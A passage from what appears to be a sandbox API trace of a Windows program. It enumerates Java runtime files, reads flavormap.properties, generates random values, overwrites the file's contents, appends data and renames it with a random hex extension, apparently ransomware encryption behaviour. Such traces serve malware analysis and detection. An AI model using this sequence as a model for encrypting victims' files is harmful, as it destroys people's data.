(x86)\\Java\\jre7\\lib\\ext" [0238.277] wcscat (in: _Dest=0x43105050, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0238.277] wcscat (in: _Dest=0x43105050, _Source="meta-index" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\meta-index") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\meta-index" [0238.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43105050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ee0 [0238.278] FindNextFileW (in: hFindFile=0x1ced6400, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3e45, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.jar", cAlternateFileName="")) returned 1 [0238.278] wcscmp (_String1="sunec.jar", _String2=".") returned 1 [0238.278] wcscmp (_String1="sunec.jar", _String2="..") returned 1 [0238.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x43105fa0 [0238.278] wcscpy (in: _Dest=0x43105fa0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0238.278] wcscat (in: _Dest=0x43105fa0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0238.278] wcscat (in: _Dest=0x43105fa0, _Source="sunec.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar" [0238.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43105fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0238.279] FindNextFileW (in: hFindFile=0x1ced6400, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3057d, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunjce_provider.jar", cAlternateFileName="SUNJCE~1.JAR")) returned 1 [0238.279] wcscmp (_String1="sunjce_provider.jar", _String2=".") returned 1 [0238.279] wcscmp (_String1="sunjce_provider.jar", _String2="..") returned 1 [0238.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1cf4b920 [0238.279] wcscpy (in: _Dest=0x1cf4b920, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0238.279] wcscat (in: _Dest=0x1cf4b920, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0238.279] wcscat (in: _Dest=0x1cf4b920, _Source="sunjce_provider.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar" [0238.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x297c [0238.280] FindNextFileW (in: hFindFile=0x1ced6400, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.jar", cAlternateFileName="SUNMSC~1.JAR")) returned 1 [0238.280] wcscmp (_String1="sunmscapi.jar", _String2=".") returned 1 [0238.280] wcscmp (_String1="sunmscapi.jar", _String2="..") returned 1 [0238.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79e070 [0238.281] wcscpy (in: _Dest=0x1b79e070, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0238.281] wcscat (in: _Dest=0x1b79e070, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0238.281] wcscat (in: _Dest=0x1b79e070, _Source="sunmscapi.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar" [0238.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2990 [0238.281] FindNextFileW (in: hFindFile=0x1ced6400, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x39fd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunpkcs11.jar", cAlternateFileName="SUNPKC~1.JAR")) returned 1 [0238.281] wcscmp (_String1="sunpkcs11.jar", _String2=".") returned 1 [0238.281] wcscmp (_String1="sunpkcs11.jar", _String2="..") returned 1 [0238.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b79e370 [0238.282] wcscpy (in: _Dest=0x1b79e370, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0238.282] wcscat (in: _Dest=0x1b79e370, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0238.282] wcscat (in: _Dest=0x1b79e370, _Source="sunpkcs11.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar" [0238.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79e370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2964 [0238.284] FindNextFileW (in: hFindFile=0x1ced6400, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 1 [0238.284] wcscmp (_String1="zipfs.jar", _String2=".") returned 1 [0238.284] wcscmp (_String1="zipfs.jar", _String2="..") returned 1 [0238.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x43104c60 [0238.284] wcscpy (in: _Dest=0x43104c60, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext" [0238.284] wcscat (in: _Dest=0x43104c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\" [0238.284] wcscat (in: _Dest=0x43104c60, _Source="zipfs.jar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar" [0238.284] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43104c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2970 [0238.285] FindNextFileW (in: hFindFile=0x1ced6400, lpFindFileData=0x2027c800 | out: lpFindFileData=0x2027c800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x10c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="zipfs.jar", cAlternateFileName="")) returned 0 [0238.285] FindClose (in: hFindFile=0x1ced6400 | out: hFindFile=0x1ced6400) returned 1 [0238.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027c800) returned 1 [0238.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced63a0) returned 1 [0238.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c790) returned 1 Thread: id = 2074 os_tid = 0x1370 [0138.301] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\flavormap.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\flavormap.properties")) returned 0x20 [0138.302] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\flavormap.properties", dwFileAttributes=0x20) returned 1 [0138.302] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\flavormap.properties" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\flavormap.properties"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e98 [0138.303] GetFileSizeEx (in: hFile=0x1e98, lpFileSize=0x3670fc80 | out: lpFileSize=0x3670fc80*=3928) returned 1 [0138.303] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0xf54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.303] ReadFile (in: hFile=0x1e98, lpBuffer=0x3670fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3670fc48, lpOverlapped=0x0 | out: lpBuffer=0x3670fc00*, lpNumberOfBytesRead=0x3670fc48*=0x4, lpOverlapped=0x0) returned 1 [0138.305] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0138.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0138.305] NtQuerySystemTime (in: CurrentTime=0x3670fb40 | out: CurrentTime=0x3670fb40*=132462177435430000) returned 0x0 [0138.305] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x27d55118 [0138.305] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x1bafcae4 [0138.305] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x52379b2a [0138.305] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x357567fb [0138.305] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x75e9bbd5 [0138.305] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x3dbeb016 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x6d28f462 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x5f2bc6d0 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x4d28e3ea [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0xed34a4c [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x1193b1ac [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x3bd1beba [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x39d4b05a [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x2556e070 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x6d1327db [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x7f0da80a [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x2dc9cbe [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x526547e0 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x2b47f972 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x22b06247 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x44093bdf [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x4717b8b1 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x69166f3 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x3daf12b5 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x653241d0 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x705eb0b6 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x6e2a08e2 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x6c27dfe2 [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x6706699c [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x6f30008b [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x5f06be9b [0138.306] RtlRandomEx (in: Seed=0x3670fb30 | out: Seed=0x3670fb30) returned 0x1ac32e67 [0138.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a530 [0138.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0138.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0138.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0138.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0138.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0138.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0138.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42076d10 [0138.318] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4207a920 [0138.318] ReadFile (in: hFile=0x1e98, lpBuffer=0x42076d10, nNumberOfBytesToRead=0xf58, lpNumberOfBytesRead=0x3670fb30, lpOverlapped=0x0 | out: lpBuffer=0x42076d10*, lpNumberOfBytesRead=0x3670fb30*=0xf58, lpOverlapped=0x0) returned 1 [0138.318] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.318] WriteFile (in: hFile=0x1e98, lpBuffer=0x4207a920*, nNumberOfBytesToWrite=0xf58, lpNumberOfBytesWritten=0x3670fb34, lpOverlapped=0x0 | out: lpBuffer=0x4207a920*, lpNumberOfBytesWritten=0x3670fb34*=0xf58, lpOverlapped=0x0) returned 1 [0138.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a440 [0138.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0138.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0138.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4207a920) returned 1 [0138.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42076d10) returned 1 [0138.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0138.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0138.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cda03b0 [0138.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0138.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060fb0 [0138.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0138.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0138.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cda02f0 [0138.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0138.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0138.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0138.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060fb0) returned 1 [0138.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0138.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b82f830 [0138.328] SetFilePointerEx (in: hFile=0x1e98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0138.328] WriteFile (in: hFile=0x1e98, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3670fc50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x3670fc50*=0x11a, lpOverlapped=0x0) returned 1 [0138.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0138.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060f30 [0138.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2c0 [0138.345] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0138.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4205a2c0 [0138.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a2f0 [0138.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a380 [0138.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a380) returned 1 [0138.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060f30) returned 1 [0138.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0138.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1ced6460 [0138.346] sprintf (in: _Dest=0x1ced6460, _Format="%c%c" | out: _Dest="0d") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6462, _Format="%c%c" | out: _Dest="fa") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6464, _Format="%c%c" | out: _Dest="72") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6466, _Format="%c%c" | out: _Dest="3e") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6468, _Format="%c%c" | out: _Dest="95") returned 2 [0138.347] sprintf (in: _Dest=0x1ced646a, _Format="%c%c" | out: _Dest="0c") returned 2 [0138.347] sprintf (in: _Dest=0x1ced646c, _Format="%c%c" | out: _Dest="3c") returned 2 [0138.347] sprintf (in: _Dest=0x1ced646e, _Format="%c%c" | out: _Dest="6b") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6470, _Format="%c%c" | out: _Dest="06") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6472, _Format="%c%c" | out: _Dest="eb") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6474, _Format="%c%c" | out: _Dest="97") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6476, _Format="%c%c" | out: _Dest="98") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6478, _Format="%c%c" | out: _Dest="35") returned 2 [0138.347] sprintf (in: _Dest=0x1ced647a, _Format="%c%c" | out: _Dest="b5") returned 2 [0138.347] sprintf (in: _Dest=0x1ced647c, _Format="%c%c" | out: _Dest="41") returned 2 [0138.347] sprintf (in: _Dest=0x1ced647e, _Format="%c%c" | out: _Dest="f3") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6480, _Format="%c%c" | out: _Dest="c0") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6482, _Format="%c%c" | out: _Dest="c2") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6484, _Format="%c%c" | out: _Dest="58") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6486, _Format="%c%c" | out: _Dest="a5") returned 2 [0138.347] sprintf (in: _Dest=0x1ced6488, _Format="%c%c" | out: _Dest="c4") returned 2 [0138.347] sprintf (in: _Dest=0x1ced648a, _Format="%c%c" | out: _Dest="60") returned 2 [0138.348] sprintf (in: _Dest=0x1ced648c, _Format="%c%c" | out: _Dest="7c") returned 2 [0138.348] sprintf (in: _Dest=0x1ced648e, _Format="%c%c" | out: _Dest="86") returned 2 [0138.348] sprintf (in: _Dest=0x1ced6490, _Format="%c%c" | out: _Dest="3a") returned 2 [0138.348] sprintf (in: _Dest=0x1ced6492, _Format="%c%c" | out: _Dest="d8") returned 2 [0138.348] sprintf (in: _Dest=0x1ced6494, _Format="%c%c" | out: _Dest="d3") returned 2 [0138.348] sprintf (in: _Dest=0x1ced6496, _Format="%c%c" | out: _Dest="51") returned 2 [0138.348] sprintf (in: _Dest=0x1ced6498, _Format="%c%c" | out: _Dest="02") returned 2 [0138.348] sprintf (in: _Dest=0x1ced649a, _Format="%c%c" | out: _Dest="3b") returned 2 [0138.348] sprintf (in: _Dest=0x1ced649c, _Format="%c%c" | out: _Dest="97") returned 2 [0138.348] sprintf (in: _Dest=0x1ced649e, _Format="%c%c" | out: _Dest="b5") returned 2 [0138.348] sprintf (in: _Dest=0x1ced64a0, _Format="%c%c" | out: _Dest="83") returned 2 [0138.348] sprintf (in: _Dest=0x1ced64a2, _Format="%c%c" | out: _Dest="bd") returned 2 [0138.348] sprintf (in: _Dest=0x1ced64a4, _Format="%c%c" | out: _Dest="69") returned 2 [0138.348] sprintf (in: _Dest=0x1ced64a6, _Format="%c%c" | out: _Dest="40") returned 2 [0138.348] sprintf (in: _Dest=0x1ced64a8, _Format="%c%c" | out: _Dest="2d") returned 2 [0138.348] sprintf (in: _Dest=0x1ced64aa, _Format="%c%c" | out: _Dest="3f") returned 2 [0138.348] sprintf (in: _Dest=0x1ced64ac, _Format="%c%c" | out: _Dest="05") returned 2 [0138.348] sprintf (in: _Dest=0x1ced64ae, _Format="%c%c" | out: _Dest="c4") returned 2 [0138.348] RtlInitAnsiString (in: DestinationString=0x3670fcc8, SourceString="0dfa723e950c3c6b06eb979835b541f3c0c258a5c4607c863ad8d351023b97b583bd69402d3f05c4" | out: DestinationString="0dfa723e950c3c6b06eb979835b541f3c0c258a5c4607c863ad8d351023b97b583bd69402d3f05c4") [0138.348] RtlAnsiStringToUnicodeString (in: DestinationString=0x3670fc98, SourceString="0dfa723e950c3c6b06eb979835b541f3c0c258a5c4607c863ad8d351023b97b583bd69402d3f05c4", AllocateDestinationString=1 | out: DestinationString="0dfa723e950c3c6b06eb979835b541f3c0c258a5c4607c863ad8d351023b97b583bd69402d3f05c4") returned 0x0 [0138.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050ca80 [0138.349] RtlFreeAnsiString (AnsiString="0") [0138.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6460) returned 1 [0138.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2c0) returned 1 [0138.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a2f0) returned 1 [0138.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f830) returned 1 [0138.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda02f0) returned 1 [0138.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0138.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda03b0) returned 1 [0138.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a440) returned 1 [0138.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0138.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a530) returned 1 [0138.350] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0138.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4aa80 [0138.351] wcscat (in: _Dest=0x1cf4aa80, _Source="0dfa723e950c3c6b06eb" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\0dfa723e950c3c6b06eb") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\0dfa723e950c3c6b06eb" [0138.351] wcscat (in: _Dest=0x1cf4aa80, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\0dfa723e950c3c6b06eb.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\0dfa723e950c3c6b06eb.2f9b60" [0138.351] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\0dfa723e950c3c6b06eb.2f9b60", NtPathName=0x3670fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files 